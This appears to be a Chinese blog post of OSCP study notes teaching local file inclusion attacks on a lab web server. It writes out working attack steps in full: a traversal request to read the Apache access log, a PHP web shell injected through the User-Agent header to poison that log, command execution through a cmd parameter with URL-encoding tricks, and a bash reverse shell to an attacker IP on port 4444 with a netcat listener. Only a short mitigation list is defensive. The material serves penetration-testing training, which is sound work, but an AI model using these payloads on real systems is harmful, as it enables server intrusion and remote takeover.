4-3〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸文件包含漏洞-A
郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉Whoami!-CSDN博客🚀
𖤐 现在,我们渐入佳境了,保持耐心,继续前行 !
𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!
→ 信息收集
→ 漏洞检测
→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 🔥🔥🔥
→ 权限提升
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1 常见WEB应用攻击
1.2 文件包含漏洞概述
1.2.1 文件包含漏洞 vs 目录遍历漏洞的区别
1.2.2 本地文件包含漏洞(LFI)
1.2.2.1 攻击思路流程
1.2.2.2 识别本地文件包含漏洞
1.2.2.3 把可执行代码写入到目标文件(access.log)
1.2.2.4 执行写入文件的代码
1.配置攻击参数
2.执行ps命令验证攻击
3.执行其他命令(需对命令进行编码)
1.2.2.5 获取反向Shell-登录到服务器
1.构建反向Shell命令
2.修改反向shell命令
3. 攻击者事先准备:打开4444端口监听
4.在Burp重放并完成反向shell
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
1 常见WEB应用攻击
Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:
-
📁 目录遍历 - 通过操纵文件路径访问未授权资源
-
📄 文件包含漏洞 - 包含恶意文件执行代码---(本文)
-
⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权
-
⚡ 命令注入 - 在输入中注入系统命令执行
1.2 文件包含漏洞概述
1.2.1 文件包含漏洞 vs 目录遍历漏洞的区别
特征 | 目录遍历漏洞 | 文件包含漏洞 |
---|---|---|
主要功能 | 读取文件内容 | 包含并执行文件 |
处理方式 | 显示源代码 | 执行代码 |
影响范围 | 仅限于文件读取 | 可导致代码执行 |
核心区别:
目录遍历漏洞:获取web服务器站点根目录之外的文件内容,仅允许读取文件内容
文件包含漏洞:允许在应用程序的运行代码中"包含"文件,可执行本地或远程文件
💡 实际案例对比
# 目录遍历漏洞示例
访问: http://target.com/../../admin.php
结果: 显示admin.php的源代码# 文件包含漏洞示例
访问: http://target.com/?page=../../admin.php
结果: 执行admin.php中的PHP代码
1.2.2 本地文件包含漏洞(LFI)
1.2.2.1 攻击思路流程
🎯 攻击目标:通过LFI漏洞获得远程代码执行(RCE)
攻击思路流程图:
[发现LFI漏洞] → [识别可控日志点] → [注入恶意代码] → [包含日志文件] → [获得RCE]
1.2.2.2 识别本地文件包含漏洞
寻找可控点思路:
-
利用目录遍历漏洞,检查Apache日志文件
/var/log/apache2/access.log
-
识别log日志文件中,哪些输出是用户可控制的信息字段
-
如果找到,那么就可以再次编写可执行代码。
kali@kali:~$ curl
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/a
pache2/access.log
...
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php
HTTP/1.1" 200 2218 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0"
...
【分析】日志条目中包含user-agent信息。发现如下:
-
User-Agent字段是用户的HTTP请求信息
-
该信息被记录到access.log文件中
-
{脑洞大开}:在发送请求之前,可以在Burp中修改user-agent信息并指定将写入access.log文件的内容
-
最后,通过LFI可以包含并执行日志中的内容
[攻击者] ↓ 修改User-Agent为PHP代码 [Burp Suite代理] ↓ 发送恶意请求 [目标服务器] ↓ 记录到access.log [利用LFI] ↓ 包含access.log文件 [代码执行] ↓ 获得RCE权限
1.2.2.3 把可执行代码写入到目标文件(access.log)
- 启动Burp,同时打开浏览器并访问 “Mountain Desserts” 网页;
- 在该网页底部找到并点击 “Admin” 链接;
- 切换回 Burp,打开 “HTTP history”选项卡,从中筛选出点击 “Admin” 链接时产生的相关网络请求;
- 将筛选出的目标请求,发送到 Burp的 “Repeater”;
接下来,
- 修改User Agent,将以下列表中的PHP代码片段包含其中。
-
修改后,点击send。PHP代码片段被写入Apache的access.log文件中。
<?php echo system($_GET['cmd']); ?>
组成部分 说明 <?php... ?>
PHP 代码块标签,用于标识 PHP 代码的开始和结束范围 $_GET['cmd']
获取 URL 中 cmd
参数的值(例如http://example.com/script.php?cmd=ls
中获取ls
)system()
PHP 内置函数,用于执行外部系统命令,并返回命令输出结果 echo
将 system()
函数执行命令后的结果输出到浏览器,供用户查看整体功能 接收用户通过 URL 参数传入的命令,执行该系统命令并将结果输出到网页
1.2.2.4 执行写入文件的代码
关键前提:必须事先发现LFI漏洞,然后通过包含日志文件来执行PHP代码片段。
1.配置攻击参数
参数 | 作用 | 示例值 |
---|---|---|
page | 指定日志文件相对路径 | ../../../var/log/apache2/access.log |
cmd | 传递要执行的命令 | ps,只是验证命令是否起作用 |
参数格式:使用和号(&)作为分隔符
/meteor/index.php?page=../../../var/log/apache2/access.log&cmd=ps
2.执行ps命令验证攻击
验证流程:
-
发送简单命令(如
ps
)验证日志中毒是否生效 -
(切记!)再次发http请求时候,要清理User-Agent参数。因为上一步已经修改过User-Agent参数,避免重复污染日志
-
查看响应输出:最终的Burp请求显示在下图的请求部分。发送请求后,向下滚动并在响应部分中查看命令ps成功输出结果,说明命令被执行了!从而,利用了LFI漏洞。
3.执行其他命令(需对命令进行编码)
遇到的问题:
直接使用
ls -la
命令会触发错误根本原因:命令中的空格字符被系统错误解析
各种编码技术解决:
方法 | 实现方式 | 优点 | 缺点 |
---|---|---|---|
URL编码 | 空格→%20 | 简单直接 | 可能需要多次尝试 |
IFS分隔符 | 使用${IFS} 代替空格 | 绕过简单过滤 | 需要系统支持 |
Tab编码 | 空格→%09 | 较少被检测 | 兼容性问题 |
✅ 推荐方案:URL编码
# 原始命令(会报错)
ls -la# URL编码后(成功执行)
ls%20-la
我们的命令执行成功,输出ls -la的结果:
🔒 防护应对措施
-
对用户输入进行严格过滤和编码验证
-
限制日志文件的访问权限
-
监控异常的User-Agent模式
1.2.2.5 获取反向Shell-登录到服务器
🎯 攻击目标升级:从命令执行到反向Shell
1.构建反向Shell命令
bash -i >& /dev/tcp/192.168.119.3/4444 0>&1
🔧 命令分解说明
命令部分 | 功能说明 | 技术细节 |
---|---|---|
bash -i | 启动交互式Bash shell | -i 参数确保shell提供交互式输入输出 |
>& /dev/tcp/192.168.119.3/4444 | 建立TCP连接重定向 | >& :是一种重定向操作符,将 标准输出(stdout)和标准错误(stderr) 重定向到攻击者IP:端口。 相当于在Linux系统上打开一个到远程主机 的网络连接。 |
0>&1 | 输入流重定向 | 0 代表标准输入(stdin),1 代表标准输出(stdout)。 0>&1 表示将标准输入重定向到标准输出,也就是将 输入流通过TCP连接传输到目标主机(192.168.119.3)。 也就是说,它会将输入(stdin)流发送到先前设置的TCP连接,并且通过这个连接接收输出。 |
✅ 整体实现:
-
功能本质:使被攻击的 Web 服务器启动 Bash shell,并将其输入、输出及错误流全部重定向到攻击者机器(192.168.119.3)的 4444 端口。
-
攻击流程:
- 攻击者预先在自身机器上通过
nc -nlvp 4444
等工具监听 4444 端口 - 目标服务器执行该命令后,会主动建立与攻击者机器 4444 端口的 TCP 连接
- 攻击者通过此连接获得目标服务器的远程 shell,实现交互控制
- 攻击者预先在自身机器上通过
-
最终效果:攻击者可远程操控被攻击主机的 shell,执行各类系统命令。
2.修改反向shell命令
①强制通过bash执行
修改缘由:由于我们通过PHP的system()函数执行命令,我们意识到命令默认可能是通过Bourne Shell(也称为sh),而不是Bash执行的,因此需要对以下命令进行改造,确保反向shell强制通过Bash执行。
改造前:bash -i >& /dev/tcp/192.168.119.3/4444 0>&1
我们可以通过将反向shell单行命令作为参数提供给bash -c来实现这一点,bash -c会使用Bash执行命令。
改造后:bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
详细说明:在PHP中system()函数执行的命令通常由操作系统的默认shell来处理。具体的:
①在类Unix系统(如Linux和macOS)中,system() 默认会使用系统的默认shell,通常是/bin/sh。这意味着执行的命令会通过sh来处理。
②在Windows 系统中,system()默认使用cmd.exe 来执行命令。
所以,在Linux系统上,system()会通过sh执行命令,如果系统配置了其他默认shell(比如 bash),那么它也有可能会使用这个shell。但在大多数情况下,/bin/sh 会被用来执行命令。
示例:
这条命令会被sh解析和执行,并且输出Hello, world!。
如果你希望显式地使用某个shell(例如 bash),可以在命令中指定:
这将强制PHP使用bash来执行命令。
②URL编码
再次使用URL编码对特殊字符进行编码后,然后将要放入Burp中重放。
URL编码后:
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22
3. 攻击者事先准备:打开4444端口监听
在发送请求之前,在攻击者的Kali的端口4444上启动一个 Netcat监听器。 它将接收一会来自目标 系统的反向shell。
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...# 在攻击机器上启动监听
# -n:表示不进行DNS查询,即使用数字形式的IP地址,而不是尝试解析域名
# -v:表示 verbose(详细输出)
# -l:表示监听模式,等待其他计算机或设备发起连接请求
# -p:表示监听的是4444端口
4.在Burp重放并完成反向shell
下图显示将上述命令添加到请求中的正确方法(cmd的参数)。
再次提醒:切记~删除user-agent行。
在Burp中按下发送按钮发送请求后,我们成功在Netcat监听器中接收到了反向shell。
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!